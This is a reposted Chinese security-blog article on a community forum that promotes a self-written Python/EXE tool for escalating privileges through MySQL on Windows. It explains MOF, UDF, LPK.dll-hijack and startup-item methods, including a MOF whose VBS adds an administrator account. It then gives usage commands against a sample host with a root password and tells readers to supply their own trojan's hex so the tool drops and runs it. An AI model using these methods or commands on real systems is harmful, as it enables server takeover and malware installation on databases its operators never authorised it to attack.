社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

mysql提权利用工具

黑白之道 • 4 年前 • 539 次点击  


文章来源: 系统安全运维

最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,学习中收集到这个工具,分享给大家。


原理:

mof提权原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。


udf提权:

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

  1. 最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。

  2. 创建相应的函数并执行命令,具体如下:


用于 MySQL 提升权限。

python-promoting-privileges 权限

1.自动导出你的后门和mof文件,

2.自动判断mysql版本,根据不同版本不同的UDF的DLL到不同的目录,UDF提权

3.导出LPK.dll文件,劫持系统目录提权

4.写启动项提权

工具仅能方便使用,技术含量几乎没有。

用py脚本写的,也打包成exe了,个人用的还算顺手。

运行:

promote:PythonDemo v5est0r$ python root.py  __            _    __  __       ____   ___  _ / _|_   _  ___| | _|  \/  |_   _/ ___| / _ \| || |_| | | |/ __| |/ / |\/| | | | \___ \| | | | |      Author:v5est0r|  _| |_| | (__|   _) | |_| | |___|_|  \__,_|\___|_|\_\_|  |_|\__, |____/ \__\_\_____|                            |___/
usage: root.py [-h] [-a HOST] [-o PORT] [-u USER] [-p PASSWD] [-e EXECUTE] [-m METHOD]
fuckmysql
optional arguments: -h, --help show this help message and exit -a HOST, --host HOST MySQL server ip -o PORT, --port PORT MySQL Port -u USER, --user USER mysql UserName -p PASSWD, --passwd PASSWD mysql password -e EXECUTE, --execute EXECUTE command for UDF to execute -m METHOD, --method METHOD                        elevate method,eg:udf/mof/lpk/st


我在虚拟机演示打包好exe远程提权,我就不多说了,直接上图:

默认UDF提权,也可以-m udf指定方式,-e ipconfig指定执行的cmd,默认执行whoami:

root.exe -a 192.168.1.105 -p root -e "ver&whoami-m udf

避免UDF无效,我们使用LPK.dll劫持:

root


    
.exe -a 192.168.1.105 -p root -m lpk

验证一下:

把你的木马的hex复制到同目录的hex.txt就行了,程序会导出木马到指定目录,并用mof执行。

停止UDF和LPK都无效,那我们只能暂时暂停启动项:

root.exe -a 192.168.1.105 -p root -m st

可能的路径编码问题写不成功,你可以根据提示,用本地的MySQL连接开始,执行。

当然还有情况提权,UDF不能创建插件目录,网上流传的ADS流创建目录我是没有成功过,工具加了ADS流创建目录的代码,那么我们远程创建的插件目录,再利用:

本地模式:PHP一般权限都是可以创建目录的,因此必须指定localhost或127.0.0.1主机本地调用模式:

root.exe -a localhost -p root -e "ver&whoami" -m udf



公众号内回复“mysql”获取下载链接。

如侵权请私聊公众号删文

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/118039